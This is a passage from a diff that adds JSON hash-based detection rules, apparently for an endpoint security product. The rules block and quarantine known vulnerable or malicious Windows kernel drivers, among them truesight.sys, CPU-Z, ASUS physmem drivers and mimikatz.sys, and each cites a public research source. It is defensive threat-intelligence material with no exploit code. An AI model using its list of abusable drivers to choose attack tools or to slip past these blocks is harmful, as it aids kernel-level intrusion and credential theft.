+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454388Z",
+  "creation_date": "2026-03-23T11:45:30.454391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9500af86bf129d06b47bcfbc4b23fcc724cfbd2af58b03cdb13b26f8f50d65e",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc6deb0e-4bc2-5165-9aae-6ae95c2b184d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155841Z",
+  "creation_date": "2026-03-23T11:45:31.155843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d2677a15c494668bf73dcc0849de41ee79e3b782d51ac04a2542a00933d09ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc705fbb-0953-514e-8f71-d3bcd4ddce67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610529Z",
+  "creation_date": "2026-03-23T11:45:29.610531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc80852c-1cf6-571c-93f0-3b9fe3f8ae00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830669Z",
+  "creation_date": "2026-03-23T11:45:30.830672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd3fdc5c338e21e8d8fd9d586fabfdb9fec312f3852bb278fe87ef64d05f78d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc92cf50-8182-5dc8-a553-174219eeebef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462440Z",
+  "creation_date": "2026-03-23T11:45:30.462443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462452Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51141c22e37d651703dd57cfda018ff06a0175a78e7c72f8ad733a281721716a",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc92f795-d840-53fa-bc9d-821cbab77b7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621720Z",
+  "creation_date": "2026-03-23T11:45:29.621722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "923ebbe8111e73d5b8ecc2db10f8ea2629a3264c3a535d01c3c118a3b4c91782",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc96a0ad-c4e5-5ef4-9dec-6855d0425773",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480082Z",
+  "creation_date": "2026-03-23T11:45:30.480084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480089Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37022838c4327e2a5805e8479330d8ff6f8cd3495079905e867811906c98ea20",
+  "comment": "Vulnerable Kernel Driver (aka stdcdrv64sys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fca72425-70e1-5931-90ff-bc4ce2f3bcc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475044Z",
+  "creation_date": "2026-03-23T11:45:30.475047Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475057Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3d9b90e2a1a6e997dd3e3ed6b05aa3230d8ca3c25477b847dbe163c0367cc7e",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcaf0b25-ff9b-5e21-97e3-a2cd820b7487",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148096Z",
+  "creation_date": "2026-03-23T11:45:31.148098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad25321c6d5d453f61877d4518ff9dd0f0f9c46b11f91743441dedb36075844c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcb41e68-7090-5703-a079-d66b45301a9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819571Z",
+  "creation_date": "2026-03-23T11:45:31.819574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccb06410b63db03f5b8f86a99dca017b8a6f4ac8917e3e7b628d7a7ade9f813c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcb70074-4888-59d1-96cc-738a6e94bfe4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479539Z",
+  "creation_date": "2026-03-23T11:45:31.479543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b66ad8c72063d4a3cc34aaa8cfee8dd7489880e2d369b1ed4ccc5cbea86c2bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcb84375-1445-52b9-a0de-0797e6164ca1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985082Z",
+  "creation_date": "2026-03-23T11:45:29.985084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985089Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcba455e-e89e-5077-bc0b-25f9a8ff3ec7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825669Z",
+  "creation_date": "2026-03-23T11:45:30.825671Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a87cbd4cdb3261b10539c2611d69ae66ee38eb83b2d6ffdfe832e348f8a543ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcbfa754-e04a-5333-b166-732dea479ae2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486263Z",
+  "creation_date": "2026-03-23T11:45:31.486267Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb576807ce3385d1007d8d6aa6cd6c54c946eb78ec947d67cefe8fab58e99e26",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcca48bc-3cbd-5d7d-9b48-b4c82b84c248",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811435Z",
+  "creation_date": "2026-03-23T11:45:31.811437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72d17c16571c89cf3c7d1c48cf590e16704dc1758c4d6b9d3172cedae957e6fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fccfad40-c74b-531d-95c1-0a11cb615acd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621794Z",
+  "creation_date": "2026-03-23T11:45:29.621796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621801Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7bb08f99a9701482ce693d71e95559b10a247c4e8f50deba8097b0d3f191532",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcd23c3c-477b-5ef1-8309-05c5087575af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456752Z",
+  "creation_date": "2026-03-23T11:45:30.456755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "faa9aa7118ecf9bb6594281f6b582f1ced0cc62d5db09a2fbf9b7ce70c532285",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcdbc473-378e-539f-8bd4-3758805f1c44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159349Z",
+  "creation_date": "2026-03-23T11:45:31.159351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3739737765880d445f9a5b1dcfc6f5e8832e01738724f2c003b67226faf3823",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcdfd4fc-513f-5bbe-b465-1b84f78302cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815574Z",
+  "creation_date": "2026-03-23T11:45:30.815589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "903d6d71da64566b1d9c32d4fb1a1491e9f91006ad2281bb91d4f1ee9567ef7b",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fceb7018-587a-596f-a52c-e45e343d5424",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481097Z",
+  "creation_date": "2026-03-23T11:45:30.481099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481105Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf370bf2ef3fb6fd5e9722bad8af5347b74ce7252d291e2958b365aad1b0bb76",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcf105c6-9ca9-5e21-aa70-a52475b2dda0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808468Z",
+  "creation_date": "2026-03-23T11:45:31.808470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808476Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "002744572989f91fd5edf800ffc6baefeea877eca3b8d7c9abbfa5e29b1b3b5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fcf64e10-0548-58e4-b36f-2e272fc54e6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160100Z",
+  "creation_date": "2026-03-23T11:45:31.160102Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80f793cd949b16335e835de748c5d15ca945c72c0cef50371ae80f931805b206",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd065efe-8ffc-5cc7-accc-40f56dce9e7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487236Z",
+  "creation_date": "2026-03-23T11:45:31.487238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
